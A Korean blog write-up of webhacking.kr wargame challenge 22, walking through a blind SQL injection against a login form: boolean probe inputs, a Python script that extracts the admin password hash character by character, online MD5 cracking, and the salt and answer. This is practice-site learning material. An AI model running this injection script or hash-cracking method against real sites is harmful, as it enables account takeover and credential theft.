일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- blind sql injection
- 김성엽 대표님
- Pwndbg
- IF문
- object
- 조건문
- lord of sql injection
- suninatas 풀이
- jQuery
- burp suite
- 배열
- sql injection
- python
- element 조회
- github
- 백준 파이썬
- 자바스크립트
- 포인터
- document
- htmlspecialchars
- 사칙연산
- xss game
- xss game 풀이
- 객체
- window
- property
- 파이썬
- 메소드
- 함수
- 백준 알고리즘
- Today
- Total
power-girl0-0
[webhacking.kr - old] 22번 본문
주소 : https://webhacking.kr/old.php
[ 풀이 ]
미션과 컬럼 이름을 친절하게 알려주고 있다!
join을 누르면 아래와 같이, 가입할 수 있는 폼으로 넘어갈 수 있다.
먼저, admin으로 가입하려고 하니 이미 가입한 사람이라고 출력된다.
임의의 username으로 가입한 결과, 아래와 같이 가입이 되었다고 출력된다.
로그인 결과, 아래와 같이 hash값이 출력되는 것을 확인할 수 있다.
그럼 임의로 가입한 아이디를 이용해서, 참값을 전송해보자.
id : dobbygation' and 1=1# / pw : 1 |
아래와 같이, "Wrong password!"라는 구문이 출력되는 것을 확인할 수 있다.
그렇다면, 거짓된 값을 전송시 어떤 반응일까?
id : dobbygation' and 1=2# / pw : 1 |
아래와 같이, "Login Fail!"의 구문이 출력된다.
즉, true값 일시 "Wrong password!"이고 false일시 "Login Fail!"이 출력되는 것을 알 수 있었다.
이전 21번 문제와 비슷한 듯 하다! 다른 점은 POST방식으로 값을 전송하고 있는 것이다!
소스코드를 만들어서 admin의 비밀번호를 유추해보자!
import requests stop=0 pw_len=0 pwd='' url = "https://webhacking.kr/challenge/bonus-2/index.php" c = {"cookie":"'PHPSESSID'='r6432q5jbt0c5i14t7hg3rhugk'"} # 비밀번호 글자수 for i in range(1,50): data = {"uuid":"admin' and length(pw)={}#".format(i),"pw":"1"} res = requests.post(url, data=data, cookies=c) if res.text.find("Wrong password!")!=-1: pw_len=i print("pw len : {}".format(pw_len)) break # 비밀번호 for i in range(1, pw_len+1): if stop == 1: break for j in range(33, 133): data = {"uuid":"admin' and ord(substr(pw,{},1))={}#".format(i,j),"pw":"1"} res = requests.post(url, data=data, cookies=c) if res.text.find("Wrong password!")!=-1: pwd += chr(j) break if j==132: stop=1 break print("pw : {}".format(pwd))
위에서 구한 값대로, 로그인한 결과!! 로그인되지 않는다.!!
id : admin / pw : 6c9ca386a903921d7fa230ffa0ffc153 |
이전에 임의의 아이디로 로그인했을 때, 비밀번호가 해시값이라고 출력된 것이 생각이 났다.
따라서, 위에서 구한 6c9ca386a903921d7fa230ffa0ffc153값은 해시값으로 생각된다.
글자수가 32개인 것을 보니, MD5로 해시된 것으로 예측된다.
( MD5 복호화사이트 : https://www.md5online.org/md5-decrypt.html )
그 결과, 아래와 같이 wowapple이라는 글자를 구할 수 있다.
이를 입력하여, 로그인을 시도해보자.
id : admin / pw : wowapple |
이번에도 로그인이 되지 않는다 ㅠ_ㅠ
md5해시가 아닌가 하여, 확인을 위해 이전에 임의의 아이디에서 구해진 해시값을 md5로 복호화해보았다.왜그러는지는 모르겠는데,,, 해시값이 어디서는 복호화되고 어디서는 복호화되지 않아서 위와 밑의 복호화사이트를 다르게 이용하였다,,,
( MD5 복호화 사이트 : https://crackstation.net/ )
그 결과, passwordapple이라고 복호화된 것을 확인할 수 있다.
비밀번호를 password라고 저장하였는데, apple이 붙어있는 것을 알 수 있다.
즉, apple을 해시화할 때 붙이는 것을 알 수 있다.
그래서 비밀번호로 wow로 입력해서 로그인해보니, 성공하였다.
id : admin / pw : wow |
'War game > webhacking.kr' 카테고리의 다른 글
[webhacking.kr - old] 24번 (0) | 2021.06.27 |
---|---|
[webhacking.kr - old] 23번 (0) | 2021.06.27 |
[webhacking.kr - old] 21번 (0) | 2021.06.26 |
[webhacking.kr - old] 20번 (0) | 2021.06.25 |
[webhacking.kr - old] 19번 (0) | 2021.06.25 |